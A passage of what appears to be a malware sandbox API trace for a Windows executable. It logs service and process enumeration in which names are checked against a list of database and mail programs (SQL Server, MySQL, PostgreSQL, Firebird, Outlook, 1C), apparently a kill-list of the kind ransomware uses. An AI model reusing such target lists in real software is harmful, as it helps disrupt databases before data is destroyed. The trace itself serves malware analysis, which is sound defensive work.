(lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0130.732] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0130.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0130.732] lstrlenW (lpString="RpcEptMapper") returned 12 [0130.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.732] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0130.732] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0130.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0130.732] lstrlenW (lpString="RpcSs") returned 5 [0130.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0130.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0130.732] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0130.732] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0130.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0130.733] lstrlenW (lpString="SamSs") returned 5 [0130.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0130.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0130.733] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0130.733] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0130.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0130.733] lstrlenW (lpString="Schedule") returned 8 [0130.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0130.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0130.733] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0130.733] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0130.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0130.733] lstrlenW (lpString="SENS") returned 4 [0130.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0130.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0130.733] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0130.733] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0130.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0130.733] lstrlenW (lpString="ShellHWDetection") returned 16 [0130.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.733] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0130.733] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0130.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0130.733] lstrlenW (lpString="Spooler") returned 7 [0130.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0130.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0130.733] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0130.733] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0130.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0130.733] lstrlenW (lpString="Themes") returned 6 [0130.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0130.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0130.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0130.734] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0130.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0130.734] lstrlenW (lpString="UxSms") returned 5 [0130.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0130.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0130.734] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0130.734] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0130.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0130.734] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428e0b8 | out: hHeap=0x880000) returned 1 [0130.734] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2fc [0130.737] Process32FirstW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.737] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0130.738] lstrlenW (lpString="System") returned 6 [0130.738] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0130.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0130.738] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0130.738] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0130.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0130.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0130.738] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0130.738] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0130.738] lstrlenW (lpString="smss.exe") returned 8 [0130.738] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0130.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0130.738] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0130.738] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0130.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0130.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0130.738] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0130.738] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.739] lstrlenW (lpString="csrss.exe") returned 9 [0130.739] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0130.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0130.739] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0130.739] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0130.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0130.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0130.739] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0130.739] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0130.739] lstrlenW (lpString="wininit.exe") returned 11 [0130.739] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0130.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0130.739] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0130.739] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0130.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0130.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0130.739] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0130.739] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.740] lstrlenW (lpString="csrss.exe") returned 9 [0130.740] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0130.740] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0130.740] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0130.740] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0130.740] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0130.740] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0130.740] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0130.740] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0130.740] lstrlenW (lpString="winlogon.exe") returned 12 [0130.740] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0130.740] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0130.740] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0130.740] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0130.740] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0130.741] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0130.741] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0130.741] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0130.741] lstrlenW (lpString="services.exe") returned 12 [0130.741] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0130.741] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0130.741] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0130.741] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0130.741] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0130.741] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0130.741] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0130.741] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0130.741] lstrlenW (lpString="lsass.exe") returned 9 [0130.741] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0130.741] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0130.741] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0130.742] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0130.742] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0130.742] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0130.742] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0130.742] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0130.742] lstrlenW (lpString="lsm.exe") returned 7 [0130.742] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0130.742] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0130.742] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0130.742] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0130.742] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0130.742] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0130.742] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0130.742] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.742] lstrlenW (lpString="svchost.exe") returned 11 [0130.742] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.742] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0130.743] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.743] lstrlenW (lpString="svchost.exe") returned 11 [0130.743] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0130.743] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.743] lstrlenW (lpString="svchost.exe") returned 11 [0130.743] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.743] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0130.744] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.744] lstrlenW (lpString="svchost.exe") returned 11 [0130.744] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0130.744] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0130.744] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.744] lstrlenW (lpString="svchost.exe") returned 11 [0130.744] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.745] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.745] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.745] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0130.745] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0130.745] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0130.745] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0130.745] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0130.745] lstrlenW (lpString="audiodg.exe") returned 11 [0130.745] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0130.745] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0130.745] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0130.745] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0130.745] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0130.745] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0130.745] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0130.745] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.745] lstrlenW (lpString="svchost.exe") returned 11 [0130.745] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0130.746] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0130.746] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0130.746] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0130.746] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0130.746] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0130.746] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0130.746] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0130.746] lstrlenW (lpString="userinit.exe") returned 12 [0130.746] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0130.746] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0130.746] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0130.746] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0130.746] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0130.746] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0130.746] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0130.746] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0130.746] lstrlenW (lpString="explorer.exe") returned 12 [0130.746] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0130.747] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0130.747] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0130.747] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0130.747] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0130.747] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0130.747] lstrlenW (lpString="dwm.exe") returned 7 [0130.747] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.747] lstrlenW (lpString="svchost.exe") returned 11 [0130.747] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0130.748] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0130.748] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0130.748] lstrlenW (lpString="spoolsv.exe") returned 11 [0130.748] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0130.748] lstrlenW (lpString="cmd.exe") returned 7 [0130.748] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0130.749] lstrlenW (lpString="dllhost.exe") returned 11 [0130.749] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0130.749] lstrlenW (lpString="conhost.exe") returned 11 [0130.749] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0130.750] lstrlenW (lpString="reader_sl.exe") returned 13 [0130.750] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.750] lstrlenW (lpString="svchost.exe") returned 11 [0130.750] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0130.750] lstrlenW (lpString="taskhost.exe") returned 12 [0130.750] Process32NextW (in: hSnapshot=0x2fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0130.750] CloseHandle (hObject=0x2fc) returned 1 [0130.751] Sleep (dwMilliseconds=0x1f4) [0131.473] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293bc8 [0131.610] EnumServicesStatusExW (in: hSCManager=0x4293bc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0131.617] GetLastError () returned 0xea [0131.617] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa64) returned 0x4287348 [0131.617] EnumServicesStatusExW (in: hSCManager=0x4293bc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4287348, cbBufSize=0xa64, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4287348, pcbBytesNeeded=0x214ff44, 